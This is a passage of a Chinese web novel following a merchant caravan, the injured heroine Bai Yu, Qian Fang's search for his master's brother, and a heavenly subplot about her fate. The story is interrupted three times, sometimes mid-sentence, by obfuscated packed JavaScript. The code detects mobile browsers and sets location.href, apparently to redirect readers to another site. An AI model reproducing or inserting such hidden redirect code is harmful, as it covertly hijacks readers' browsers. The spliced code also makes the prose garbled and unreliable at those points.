“嗯,多谢。”白羽点头,移开视线道谢。 贺六抱着白羽走远,孙大娘拿起落在车上的拐杖,看着两人交叠的背影,又看了一眼跟着钱掌柜上蹿下跳的孙成,深深叹了一口气。 贺老大原本在帮商队搬卸货物,直到身边的人提醒他,他才看到贺六那小子以及他怀里的白羽。 这是……什么情况? 贺老大抬头看了眼天色,西天晚霞绚丽,并无异常。 他没明白怎么前几天还低落地说着“就当什么都没发生过”,今天就把人抱到怀里了。 照这样的进度,他给贺六准备的聘礼难道要提前拿出来了? 贺老大看着看着就笑起来,觉得贺六这小子真争气。 老者说的里长家在镇东头,贺六抱着白羽边走边问,总算在一户人家门前停下脚步。 就着黄昏朦胧的夜色,一路行来,里长家的确是这镇上最宽敞气派的宅子,能接待住宿也不难理解。 孙大娘和蕊儿随后跟上来,贺六把白羽放下,蕊儿立马递上拐杖,贺六看着白羽拄好拐杖站稳,对三人说:“我去敲门,你们先在这等一下。” 白羽点头,目送贺六踏上里长家门前石阶,贺六屈指轻轻扣了三下,里面就有人询问:“谁呀?” “先生好,我们是路过的商队,天色晚了不好继续赶路,想在贵镇落宿,不知您家可方便?” “吱呀”一声,门从里面打开了,潮湿天气,木门年久失修,在寂静的夜里衬得开门的声响越发清晰入耳。 门内是一名长衫老者,须发已片片斑白,但脚步却走得稳健,颇有些习武之人的功底,他视线停留在贺六身上一瞬,又越过他看向阶下三人,须臾之后,目光再次回到贺六这里。 “小哥是四人住宿吗?”老者问。 贺六抱拳行礼,恭恭敬敬地回老者的话:“并非,我四人只是先来探路,商队大约有二三十人,青壮年男子居多,不知您家可住的下?” “先进来吧。”老者拉开两扇大门,让开门口位置,引领他们边走边说:“若是青壮年男子多,那便好办,大家挤一挤应该是可以住下的。” 贺六:“那便好,多谢您了,尊驾贵姓?” 右拐过了一处回廊,老者在花厅前停下脚步,一边指引他们往里面走,一边回答:“免贵,姓胡,老朽是府上管家,一应事宜有任何不妥的找我就行。” “我们家老爷夫人出门访亲探友,这几日怕是回不来,若有招待不周之处,还请原谅则个。” 胡管家讲话谦和有礼,贺六连忙拱手,口中道:“不敢不敢。” 花厅是一处待客之所,檐下挂着雕刻精美的鱼龙纹花灯,并着打磨抛光的云海贝母串成的风铃,夜风起,铃响灯摇曳,在此间勾勒出一幅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780765|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安乐祥和的家宅夜景图。 行至里间,厅堂开阔处依次摆放着几把雕花木椅,相隔的案间点缀的是梅兰竹菊四君子盆栽,建造者别出心裁,四面窗户皆用烧制的上好的琉璃纹彩砖镶嵌,可以想象在日光极盛的白天,将会是怎样一幅斑斓好光景。 视线再往里移动,五彩水晶珠帘悬于两侧,在烛光掩映下,折射出星星点点的璀璨光斑,仿若引天河入帘幕,教人移不开视线。 只是右侧室檀木圆桌前背对着他们坐了一位饮茶的年轻男子,白羽收回视线,没有再看。 胡管家虽然年迈,但头脑清晰,安排起事情来有条有理,他先是安排有腿伤的白羽在花厅稍作休息,有询问贺六商队住宿人数,男女比例各是多少,飞速思考了一下,就让贺六跟他去安排房间。 贺六回头看了一眼白羽,想先把她安置好再去,站在一旁的孙大娘适时地开口:“胡管家,我跟你去吧,让孩子们先留在这等着。” 胡管家和善点头,“也可,走吧。” 孙大娘临走前把预备留下来看顾白羽的蕊儿也薅走了。 三人走后,因隔间的侧室有人,贺六扶着白羽在正厅摆放的大椅上坐下,微微思忖后对她说:“稍后你的房间安排好了,我直接送你过去,然后再去帮贺老大他们收整货物。” 闻言白羽在自己大腿上轻轻按了一下,仰着脸瞧贺六,“不如你现在就去吧,我自己一个人可以,再说还有孙大娘和蕊儿呢。” 贺六垂下头,并不赞同,说:“你的腿好不容易可以断药了,目前正在恢复期,能不走动还是静养为好,明日就可以抵达渝州地界,不急于这一时半刻。” 夜风轻抚,在五彩水晶珠帘摇晃发出的“叮叮当当”声中,白羽还想再说点什么,却蓦然被一串急促的珠帘碰撞声打断,紧随其后是对方难掩惊疑的一声呼唤:“贺六?” 从白羽的角度看过去,只见一直静默的右侧室拨开珠帘走出一名长身玉立的锦衣男子,手持鹤羽扇,洁白的尾羽在掌心轻轻一拍,略微睁圆的眼睛盯着贺六,散发出不一样的神采。 并非自吹自擂,贺六走南闯北这些年,凡事打过交道的人他都有印象,此时搜肠刮肚绞尽脑汁也想不出他何时认识了这样一个人。 于是只得轻声发问:“敢问兄台认识我?” 那人羽扇一挥,脸上的笑容越发显得耐人寻味,慢悠悠地说:“不知我的马匹兄台可有好好照料?” 原来是他! 贺六霎时震惊地合不拢嘴。 从播州逃离的那日清晨,白羽独自被押走,他被扔下车,为了赶时间救人,他从城门口的茶寮里解了一匹马骑走,并留下了自己的名号和目的地,希望日后能略表歉意和谢意,没想到竟然在这里碰上了。 “当日实在是有急事,这才抢了兄台的马匹,真是对不住,兄台的马在商队行伍里,兄台随后就能见到。”贺六连忙拱手做礼。 “我姓钱,单名一个方字,叫我钱方就好。”钱方抬扇扶额,略微无奈地低叹:“没了马,又是暴雨天,这一路委实走得辛苦,贺六兄可要请我好好吃一顿才是。” “那是自然,钱兄还有什么需要帮忙的,尽管提,我一定尽力相帮。” 三言两语就打破了被抢了脚力后见面的尴尬,又得到贺六的承诺,行事作风让人如沐春风,这人真是不简单。 两人叙完旧,贺六转身向钱方介绍起了白羽,钱方礼貌询问过白羽的腿伤后,因他是独自出行,且目的地也为渝州,三人就明日一同渡江达成共识。 这时,胡管家也将众人的房间都安排好了,孙大娘去帮着府中仆婢整理床铺,他特意来告知贺六一声。 看到钱方也在,也是一愣,关切道:“钱公子怎么也在,这么晚了还不去休息吗?” 钱方说起了自己和贺六的渊源,把年迈的老管家听得脸上波折丛生,直呼这是天意,无巧不成书。 房间安排好了,贺六向两人告辞,抱着白羽准备将她送过去,商队人数太多,白羽被和孙大娘及蕊儿分在了一间厢房里,此时屋中无人。 贺六把白羽放在床沿上,夹在肘弯处的拐杖靠在床厢角落,回头叮嘱白羽:“你先休息,我得去看看贺老大他们有没有什么需要帮忙的。” 白羽把翻上去的裙摆拉下来理顺,朝着贺六点点头,看他欲言又止的表情,帮他把接下来的话省了。 承诺道:“你快去吧,我会照顾好自己的。” 贺六走后,奔波了一天的白羽觉得累极,思及商队存放货物还需要时间,便拉过被子倒头就睡。 14. 折返 另一边,贺六沿街回到镇子口,看到大家都在搬卸货物,他走上前去搭了把手,一边搬一边寻找钱掌柜和贺老大的身影,等进到仓房里时,看到两人正在指挥摆放位置。 贺六把手里的木箱放下,过去告知他们住宿的地方已经安排好了,只等这边收拾完就可以过去歇息。 钱掌柜抬起手臂拍了拍比他高出一头的贺六肩膀,眼里都是满意,扭头就对贺老大说:“老贺,你家这小子是真不错,回头让他来我商队里做事?” 贺老大走过来漫不经心地瞥了一眼贺六,故意拉下脸来,眼睛里却是藏不住的笑意,回应钱掌柜的话,“那不行,我还等着他传我衣钵,给我养老送终呢。” “小气小气。”钱掌柜念叨了两句,哈哈一笑,扔下不是父子胜似父子的二人继续忙活去了。 四周无人,贺老大仔细打量贺六,就是不说话,在贺六被看得毛骨悚然的时刻,丢下一句:“夜里忙完了,来我房里找我。”,就追着钱掌柜的脚步去了。 贺六垂眼看着自己的鼻尖,有些心虚地笑了笑,大概知道贺老大要问他什么,一边搬东西一边默默在心里打腹稿。 忙至亥时,商队众人才吃上今日最后一餐饭食。 洗漱过后,都去睡下。 贺六踩着满地如霜色般的月光来到贺老大房门前,推开门,贺老大捧着一杯热茶像是等候已久的样子。 贺老大指了指身前的座椅,示意他坐。 贺六恍惚间觉得此场景怎么有股似曾相识的味道。 他安稳地坐下,双手规规矩矩地搭在膝头,眼睛平直着看向贺老大,倏尔又落在螺钿漆面圆桌的一团水渍里,水珠反射着屋里的灯烛光,有一种暖融融的慵懒之意,下意识就能让人放松警惕之心。 贺老大慢慢啜了口茶,对贺六道:“说吧。” “说……什么?”贺六难得懵了一下。 都这个时候了,这小子还在跟他装傻充愣,贺老大气得笑了一下。 “说说你今日为何抱着阿习姑娘,说说你们两个现在到底算什么,说说你日后有什么打算。” 很巧。 贺六想,这些问题也是他想问的。 他就算有什么打算,说了也不算啊。 在贺老大强烈的目光注视下,贺六与他平视的眼神渐渐垂落到桌面上,须臾,声音有些闷闷的,“老大,阿习姑娘拒绝我了。其实我也说不清是不是彻底拒绝,我仔细回溯,发现我们也才相识月余,虽说她总说此前就认识我,但我记忆里并没有这回事。” 略微停顿,他又接着说:“时至今日,我们连她的真实姓名、家世背景、过往经历都不知道,与一个相识不久的人谈婚论嫁,这太快了,也太冒昧了,她若是不讨厌我,我们的关系还是日后再说吧。” 没出息,真是没出息。 贺老大耐心听完他这番深刻剖白,还是忍不住恨铁不成钢地在心里暗骂。 骂完了又开始深深叹息,贺六还年轻,他不知道这世间的缘分如同年轻的容颜,是稍纵即逝的。 缘分来临之际,倘若你不抓住,那么等它消失了,空叹有缘无分,最是无用。 所以,他主张想要就去争取,不用畏首畏尾,思前想后,顾虑太多。 …… 从贺老大房里出来,贺六抬头遥望天边高悬的明月,耳边又回想起贺老大句句在理的说辞,他得承认,他说的很有道理。 但不是人人都适用。 阿习姑娘不是,他不是。 不过感情一事,多想无益,于是他顺道拐去给商队男子安排的房间休息。 次日清晨,当啁啾的鸟鸣响彻庭院,叶片上的露珠尚未蒸发,远山被云雾笼罩的山尖尚未露出真面目时,歇在西院的商队众人已经收拾好准备出发了。 钱掌柜先领着一些简单对付过两口的青年男子去镇口给货物装车,让后面这些人收拾好了就一起出发。 贺六自然跟着去了,走前找到在饭厅匆忙扒饭的蕊儿,请她告知白羽——他帮商队装车完毕会折返回来接她,让她不要劳动伤腿。 蕊儿自然满口答应,心想刚才还和阿娘商量一会怎么把阿习姐姐带出去呢,但是背肯定不行,手往后托着不可避免会勒到腿弯,抱的话,阿娘和她都没有那么大的力气,出发前这种时刻,大家都在忙着收整行李,况且阿习姐姐云英未嫁,也不好让别的男子过度接触,正想着贺六会不会来帮忙的时候,他就出现了。 待贺六走后,蕊儿一口气喝掉碗里剩余的米粥,端起旁边的清粥小菜,又拿了两个菜包馒头回到房间。 忆起昨夜忙完用餐时间太晚,阿习姐姐已睡熟,阿娘说她带着伤奔波劳累了一天,既已睡着就让她睡,便没有叫她起来吃饭。 现下竟还未起,她将餐食放在堂中圆桌上,走进床前轻轻摇晃还在熟睡的白羽。 轻声叫了几句,只见床上女子气息微变,紧接着掀起眼皮,看见是她,眉心蹙起的紧绷感淡去几分,露出笑意,问道:“什么时辰了?” 蕊儿一边勾起床帐,扶她起身,一边回答:“才卯时三刻,钱掌柜通知一个时辰后出发。本来还早,但我想着阿习姐姐你昨晚没吃东西,睡到现在肯定会饿,给你拿了些粥饭先垫垫肚子。” 床榻上,白羽撑着起身,掀开被子小心翼翼地挪动伤腿,闻言笑着感谢蕊儿。 洗漱完后,白羽坐在桌前,小口喝粥啃梅菜扣肉馒头,感慨着味道不错时,听正在整理床铺的蕊儿说:“方才贺六哥过来说,让你出发前不要自己走,等他帮商队装完货物会折返回来接你。” 白羽啃馒头的动作停滞下来,想着他这个人真的很不错,做事有始有终。 回神后,应蕊儿的话,说自己知道了。 蕊儿整理完床铺,来到桌边坐下,盯着白羽期期艾艾不敢开口。 “有什么话想问我?”白羽瞧出来了,主动询问。 “阿习姐姐,我就是想问你和贺六哥,你们两……会成为一家人吗?” 这么直接的吗? 转念一想,蕊儿这么问倒也正常,她也许是试探吧,白羽咽下口中食物,好奇道:“是你自己想知道,还是孙大哥托你来问的?” 蕊儿连忙摇头,“是我自己想问的,跟我表哥没关系,阿习姐姐你不要误会。” 既然不是孙成的意思,那告诉她也无妨,白羽稍稍整理措辞。 “未来的事情谁也说不准,但就目前来说我不能不敢也不想与他产生感情牵扯,他会遇到自己的命定之人,我有我的路要走,他也有他的,所以我们没有以后。” 白羽因为内心想法已成型,所以话说的格外坚定。 蕊儿有些惋惜,“可是,贺六哥对你真的很用心,为你做拐杖,为你煎药,担心你的腿伤总去问潘大夫情况,路面泥泞难行,也会特意接送,这些都不似作假。” “是啊,这些确实都说明他这个人非常善良体贴,今日换做任何一个人是这样的境况,他都会多加照顾。他对我的好,是因为他心存善念,而我接受他的照拂,是因为我确实需要帮助,我记得他的恩情,日后也必定会有所报答。” 缓了一口气,白羽一边喝粥一边继续说:“没有任何律法条文规定一个男人对一个女人好,这个女人就应该对他感恩戴德,以身相许,付出善意的同时,接到对应的回报,这本来就是出门在外,应守望相助的道理,不能因为互帮互助的双方是一男一女,就理所当然地认为两人必成一对儿,人与人之间相处,本来就应该抛却性别观念,化繁为简,你说对吗?” 不得不说很有道理,蕊儿点头认可。 白羽说完,再结合自己之前编造的身世,浓墨重彩地加上一笔。 “再说,姻缘之事需要父母之命,媒妁之言,我双亲已故,家人具亡,没有人为我操劳这样的事,所以不提也罢。” 话已至此,蕊儿也不好再说什么。 看白羽已吃完,蕊儿收拾碗碟要拿去后厨,临出门前,白羽叫住她,嘱咐道:“东院二楼还住着一位钱公子,他也去渝州,昨晚说好要同我们一起出发,你让胡管家帮忙去探访一下,看他起来了没,告知出发时间,让他不要错过。” 蕊儿还没见过钱方,白羽叮嘱得仔细了一些。 等她应了出门后,房间里安静下来,白羽想着自己下去了也帮不上什么忙,床铺已规整整齐,也不能躺上去补觉,索性坐着喝茶等待出发。 没让她等太久,蕊儿回到房间说孙大娘和商队里的账房先生正在同胡管家结算食宿费用,钱公子已经起床用完早饭,此刻正在花厅等待出发。 并转告他的话:阿习姑娘若是一个人待的无聊,不妨来花厅一叙,去渝州这一路结伴而行,总要多了解一些才是。 白羽确实不想坐着干等,索性应邀,蕊儿扶着她拄拐前往花厅。 步出后院回廊,昨夜于月色掩映下的花厅在晨光雾气里逐渐清晰,有风轻抚,廊檐下一串串“叮叮当当”声响彻耳际。 厅内人似是不耐等,轻摇羽扇,步出门框,左右张望。 “阿习姑娘。” 两方颔首回礼,略作问候后返回花厅内。 钱方领着两人在一处观景窗前坐下,矮几旁小泥炉里沸水翻腾,映着茶香袅袅,鸟鸣花幽,真是好情趣。 白羽接过钱方递来的茶杯,虚虚闻了闻,就知道是上好的茶叶,颔首致谢,品尝过后更是赞不绝口。 蕊儿年纪小喝不出来,便做个陪客,只顾牛饮。 白羽有意打探钱方底细,主动牵起话题,“钱公子起得真早,昨晚没有睡好吗?” 钱方也很上道,瞬间唉声叹气,“还不是差事不顺给闹的,哪里能睡得好觉。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780766|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “还没问钱公子去渝州办何差事,如此头疼,可有我们能帮得上忙的?” “寻人。主家二公子出门游玩,日久不归,主家担忧不已,便派我将人带回去,无奈这二公子对我避之不及,一路上都在躲我的行踪,好不容易打听到他在播州,来了播州还没坐稳,又得知人早已出发去了渝州,早两日出发也能赶得上,偏偏连日暴雨,这下就算到了渝州,能不能追得上还是两说。” 看得出来钱方是压抑已久,好不容易逮到人问,一股脑全倒了出来。 这还没完,又接着说。 “我辛苦点倒也没什么,偏生主家那边一日三封信的催着,他们兄弟俩斗法,折磨得都是我们底下当差的人,苦不堪言啊苦不堪言。” 幽幽茶香熏陶下,钱方的抱怨都妙趣横生,白羽观钱方衣着打扮——锦衣羽扇配玉冠,出行名马,茶饮也不似凡物,行程虽赶,人却不憔悴,行止坐卧皆是贵族仪态,便猜测他的主家必定也是非富即贵之人。 不知怎的,突然联想到播州城赠她随身玉佩的慕五公子,他字长洲。 不知二者是否有什么联系。 若是,那可真不是他们这些人能插手的事情了。 想到就问:“贵府二公子姓名可否告知,到了渝州,我们人手众多,或可帮忙寻找一二?” “这……”钱方收起不着调的嘴脸,眉眼都严肃起来,“主家名号实是不方便告知,万望海涵。” “无碍的,有什么需要帮忙的,钱公子开口就是了。” 白羽好笑地摇头,暗叹自己想得太多,总不可能那么巧,随便遇上个人都能牵扯上关系,这事也就揭过不提。 三人就着冉冉升起的太阳,在观景窗下,一边品茶,一边天南海北的闲聊。 钱方见识广博,又风趣幽默;蕊儿天真无邪,好奇心重,再加上白羽偶尔搭腔,这个茶话摊子竟就这么搭起来了。 距离钱掌柜定的出发时间还有两刻钟,白羽等候已久的贺六终于出现在花厅回廊处,看到钱方也在,他明显意外了一下,但又很快恢复平静。 “钱兄也在?”问候过后就对他们说:“有什么要拿的东西都回去取一下,我们这就准备出发了。” 蕊儿折回去取两人的换洗衣物,钱方嘴里念叨着要去拿他的包裹,挥舞着羽扇也离开了。 此刻,花厅中就剩下白羽和贺六两人。 白羽示意他坐下,给他斟了一杯钱方煮的茶,让他解渴。 顺口问道:“货物已经装车了吗?” “装好了,我回来的时候已经在给货厢裹遮阳布了。”茶水几口下肚,嗓子里的干痒总算被压了下来,他继续说:“马车都套上了,等我们过去也就能出发了。” 都已安置妥当,这些事本来也轮不到白羽操心,她只是随口一问。 贺六把这茶拿来解渴,喝了两杯就看到钱方从东向回廊处行来。 白羽顺着他的目光看过去。 年轻的锦衣公子,腰佩宝剑,手持羽扇,行囊从简,走出了晨光熹微,迎来艳阳高照。 待人走到近处,贺六看着钱方的行头称赞,“钱兄是个讲究人。” 白羽着重看了那把宝剑两眼,好奇询问:“钱兄会剑术?” 方才被贺六夸过,钱方如同花蝴蝶一般生出的翅膀,正在迎风招展,经过白羽的问题又霎时收回,连连摆手,谦虚道:“非也非也,装饰罢了。” 贵族公子多喜佩剑,时下风气如此,再看钱方文质彬彬,弱不禁风的,怎么也不像精于武道的样子,两人便一笑置之。 女眷院落距花厅较远,三人又多等了一会蕊儿。 人齐后,贺六扶住白羽肩膀,另一只手臂搂起双腿,一把将人抱了起来。 蕊儿自然地拿起靠在墙角的双拐,准备出门,贺六抱着白羽紧随其后,边走边招呼钱方一起。 另外三人对于这一幕已经很坦然熟悉,唯独半路加入的钱方,坠在最后,眼神不住地在贺六和白羽身上来回打量,猜测不休。 顺着昨夜来时路,四人很快回到镇口队伍中,贺六一路把白羽送上孙大娘的马车才领着钱方回头去找贺老大他们。 贺六牵出那日在钱方手中强行“借走”的马,略带歉意地将马缰递给钱方,“钱兄,你的爱马今日物归原主,那日多谢你,但还是要说一句抱歉,望你见谅。” 钱方将羽扇别在腰间躞蹀带上,腾出手来抚摸马的鬃毛,见商队众人虽连日以来赶路匆忙,但马的状态还行,就知道贺六的用心,立即道:“无妨的无妨的,贺六兄还将它喂胖了一些,怎么看也是我赚了的。” 终于把马完好地交给钱方,贺六也算是松了一口气,意识到贺老大他们还不曾见过钱方,又连忙给两边介绍起来。 一顿问候过后,贺六和钱方翻身上马,队伍终于启程。 15. 渝州 暴雨过后,小路仍然泥泞不好走,且从安澜镇前往鱼洞的这一路上,越往前走,越是满目疮痍。 商队为了节省时间同时保证货物安全,多走的是已经经过清洪修整的平坦路面,钱掌柜时不时地遣人去前面探路,去鱼洞的这一路走得颇为谨慎。 今日天色好,适宜出行,但正午的日头极烈。于是,钱掌柜下令停下休息,正好让大家把午饭吃了。 白羽腿脚不便,休整时间又很短暂,孙大娘建议她不用下车折腾,让蕊儿把午饭给她送进来就行。 非常时期,非常对待。 白羽也知道自己需要好好养伤,否则再遇到紧急情况还是会拖累大家,同意了孙大娘的提议。 用过午饭后,继续赶路。 所幸后面一路顺畅,赶在申时末进了鱼洞商船掌管的地界。 因是提前联系好的生意,商队众人一到,商船老板就安排人手帮他们搬运货物、分配房间、准备餐食。 一切安置妥当,日落时分准时开船,此时漫天金光倾洒在宽阔静谧的江面,时有飞鸟鸣戾惊掠而过,留下一串串高亢嘹亮的鸣叫,引得水中江豚忽而窜出江面,忽而穿行在商船左右,追逐着飞鸟的身影,两相呼应。 前几日暴涨的洪水,已经褪去,除去两岸民生仍旧艰难,其他生物都已经回归到正常的生活中来,好似前些时日的涨洪未曾发生过一般。 傍晚时分,能见度被压得很低,躲在船舱的房间里有些压抑,点上油灯又不至于。 于是,白羽在蕊儿的搀扶下来到甲板上透口气。 太阳在江面上慢慢被压入水下,晚霞的光芒由金色变为橘红色,逐渐地,天幕暗了下来。 走出舱房,外面的空气空旷湿润,消散掉肺腑内聚了一天的燥热之气,人的心情也一下子轻松愉快起来。 视线调转,白羽看到钱方和贺六几个年轻人站在船头与收桅杆的船夫争执些什么,好奇之下,她和蕊儿打算过去看看情况。 还没走近,就听到戴着斗笠的船夫据理力争的声音:“各位小公子还别不信,真有人说要给我们这儿修跨江桥的,就前几天还没涨洪时候的事,不信你们可以随便找个人问。” “老伯,不是我们不信,是这根本就是不可能的事。”钱方的话语比他更加斩钉截铁,“目前的工匠技术完全达不到在深且宽的大江面上架桥的要求,且不说从哪里找巨石材料,如何托运来就是问题。一般的桥都是石拱桥,长一点的中间用上拱柱,但是这条江太宽了,两岸之间打几个拱柱,打多深合适,又如何保证水位上涨期拱柱是否结实,承重多少,厚度多少,高度几何……这些都是没有切实考察过的数字,更别说建这座桥所花费的人力、物力、财力,其中难度,不亚于天方夜谭。” 钱方就差说出异想天开、痴人说梦了。 船夫听着他这一连串的问题,心里也犯起了嘀咕,他先前没想过修桥还有这么多事,如今听钱方这么一说,觉得这桥还能不能修,难说。 但仍然嘴硬道:“但前段时间确实有位公子搭我们的船渡江时说过,要给这里建一座跨江桥的,名字都起好了,叫‘天恩桥’,还说等自己回去了就派人来动工。” 这行事作风…… 显然钱方也反应过来了,连忙抓着船夫就问:“是不是一位着锦衣华服,样貌清俊贵气,手上还拿着一把折扇的年轻公子,身边跟着一位面白无须的老管家,还有两个带刀的随从。” “诶,对对对,就是这位公子说的那样,奇怪,你怎么知道的?” 无暇理会船夫的疑问,钱方情绪激动地回头找贺六和白羽,一副行人饥渴数日终于找到烟火人家的倾诉,“是我们主家的二公子!” 白羽终于确认钱方要找的人就是慕五,贺六和蕊儿也都见过慕五,结合钱方的描述和船夫肯定,他们显然也想到了。 贺六惊疑不定地找白羽确认,“是慕五公子?” 白羽看了钱方一眼,点头认下。 钱方左右打量,疑问道:“你们认识?” 白羽点头:“在播州有过两面之缘,他说他是京城人士,姓慕,在家行五。” 听罢,钱方抚掌大笑,心情极好地赞叹:“这就是缘分来了挡都挡不住,你们在播州见过我们主家二公子,我又在播州结识了贺六兄,这播州还真是个福地。” 福地吗? 不见得吧,他们是逃命出来的…… 贺六有疑,顺口就问:“可是慕公子说自己在家行五,钱兄怎么称呼他为二公子呢?” “这说来话长,我们二公子确实是家中第五个孩子,但是我们主家也就这一个一母同胞的弟弟,出门在外,为了行事方便,也就称呼主家二公子了。” 贺六恍然,也替钱方欣喜道:“既然都认识,到了渝州之后我们也能帮着钱兄早日找到慕五公子。” 压在钱方心里的这块大石总算暂时挪开了,跟贺六商量着去了渝州要先从什么地方开始找。 “阿习姐姐,快开饭了,我们先回去吧。”蕊儿提醒。 因为商队到的时候也比较晚了,所以大家一致决定等上船安顿好货物之后再用饭,商船人手也充足,他们几个帮不上忙的就先自行安排,等候大家忙完了开饭。 用饭的地方是船舱里专门辟出来的一处大空间,她们几人到的时候孙大娘已经入座了,特意在身边留了两个位置。 白羽和蕊儿看见连忙去了她身旁坐定。 主食是一碗小面和香煎酥饼,配有切好的卤肉和凉拌黄瓜,还有一份海菜蛋花汤,不知是不是饿了,白羽感觉这顿饭吃得尤其满足。 等蕊儿吃完,她们准备离席退场时,孙大娘拉住两人胳膊叮嘱道:“船估计夜间会到对岸,你们俩先回去睡一会,睡觉警醒着点。” 两人点头应了,蕊儿随后扶着白羽回了舱房。 与此同时,九重天上司命殿中,经过又一次卜算,司命星君心有余悸地放下手中龟甲,口中默念道:“这命数不太对啊,怎么会又出错了呢?” 算上这次,他已经为白羽卜过三卦了,次次都是“下吉”签。 这次下凡历劫是天罚,哪怕是他这个掌管凡人命数的司命星君也猜不透白羽即将面临什么劫难。 天规森严,即使是他,要下凡也需要正当理由,司命翻了翻之后三个月的星历簿,发现还真是没有下凡的机会。 于是他便传书给百花仙子座下的牡丹花仙,约她来殿中商谈要事,之后又去了紫翎仙君的仙府。 踏足此地时,想起上次来还是白羽受劫来还避雷丸,已经过去了半月有余,白羽重新投胎都已经成年了,不由得感叹时间流速太快了。 还是站在云雾缭绕的大殿门前,抬手敲门,没过多久殿内就传来了行走的声音,脚步声听着比上次沉稳有力许多,司命猜测仙君的伤应该是好得差不多了。 随后门开,里面站着的却不是紫翎仙君。 “惠安,怎么是你?紫翎仙君呢?”司命疑惑。 惠安忙对着司命施礼,“回星君话,仙君有事出门一趟,临走前安排我来替他守殿。” 惠安是负责紫翎仙君日常起居的司使,只是仙君喜静,平常也用不到惠安,只有出远门才会安排惠安来殿中照料一二。 司命忙问:“何时出的门?可有说几时回来?” “走了已有十二三日了,仙君那日走得急,除了让我来守殿,并未有其他交代。”惠安恭谨答道。 这可如何是好,他今日是来回话的。 紫翎仙君那日说突然感受不到宣兰上仙的气息了,让他帮忙留意,最近他总算有点眉目了,仙君却又不在。 司命只能叮嘱惠安:“倘若仙君回来了,烦请立刻告知我,我有要事向仙君回禀。” 惠安再行一礼,郑重应下。 等司命返回殿中时,牡丹花仙已经到了,正懒懒散散地抱着手臂打量他殿中布置,桌上放着仙侍沏给她的香口茶,纹丝未动,见他回来了,立马端正态度行礼问好。 “司命星君,不知星君今日找我来是为何事?” 司命毕竟有事要拜托人家,客气道:“仙子喝茶,我们慢慢谈。” “我不爱喝你们这的茶。”牡丹看了一眼桌上的茶,皱了皱鼻子,对司命说:“直接说事吧。” 司命知道牡丹花仙的性格向来如此,也没有多加计较,他谨慎地关了殿门,挥手设了一层隔音罩,这才放下心来,对牡丹道:“仙子请坐。” 两人来到桌前坐下,司命把茶水撤下,换上清水递给牡丹花仙,接着说:“凡间来年的春花宴是否是由仙子主持?” 牡丹花仙点头。 司命:“我知道仙子向来与白羽关系密切,如今她在凡间历劫,我算出她几个月后会有一劫,这劫难与命数里自有的不同,像是人为故意设置的,恐怕会对她不利,想请仙子操劳公事之余,帮忙照看白羽一二,不知可否?” “这算不得什么大事。”牡丹花仙一口应下,端起杯中水,轻啜一口,觉得还是喝不惯,放下茶杯,这才板着脸反驳:“谁说我跟那混子关系好了!” 司命自动忽略后半句,不吝说些好话恭维她:“那是那是,仙子就是长了一副热心肠,天生爱与人为善。” 话音一转,不放心询问道:“此事不用向百花仙子禀明一下吗?” “星君以为,没有仙尊的首肯,我能来你这里吗?” 是了,司命心想,百花仙子定然猜到他传信给牡丹花仙是为何事,以她和芫回上神当年的关系,即便如今闭门不出,也会对芫回上神唯一的弟子多加关注。 “如此那就拜托仙子了。” ………… 商船一直在江面上平稳行驶,行至夜半,孙大娘前来叫醒白羽和蕊儿,说是船快到岸了,让她们起来先收拾一下。 两人睡眼朦胧地从床上爬起来,把随身物品和衣服收拢在包裹里,白羽走出舱房站在甲板上远眺,回头对蕊儿道:“已经能看到对岸码头的灯火了,马上就快到了。” 蕊儿也兴奋地出来看看,黝黑静谧的江面,相隔约百丈远的地方高悬着烛光,摇摇曳曳,随着船行,逐渐清晰入眼。 “到了到了。”蕊儿兴奋地叫起来。 船到岸后,两边人迅速地搭起舷梯,蕊儿扶着白羽下船后,在码头看见了一脸菜色,脚步虚浮的钱方,顿时惊讶道:“钱公子,你这是怎么了?” 钱方掩唇忍下喉间呕意,方才回答:“我……我可能是晕船。” 看他的样子确实难受得不行,等会说不定要连夜赶路,他也骑不了马,白羽在蕊儿耳边耳语一阵,蕊儿乖巧地点了点头。 对钱方建议:“钱公子,你要是再不舒服,等会上路可以搭乘我们的马车。” 钱方拱手作礼,“实在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16780767|190406||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不愿叨扰二位姑娘,奈何身体不允许,如此便多谢了。” 蕊儿摆摆手,示意他不用多礼。 等货物搬下船,商队收整完毕准备出发时,距天亮也不远了,马车上坐着两个病号,蕊儿问候完这个问候那个,一路上忙得不亦乐乎。 从鱼洞码头连夜赶路至渝州城门口时,天色已大亮,辰时初,城门大开,来来往往的过路人将城门口堵得水泄不通,他们只能跟随在后面等待查验。 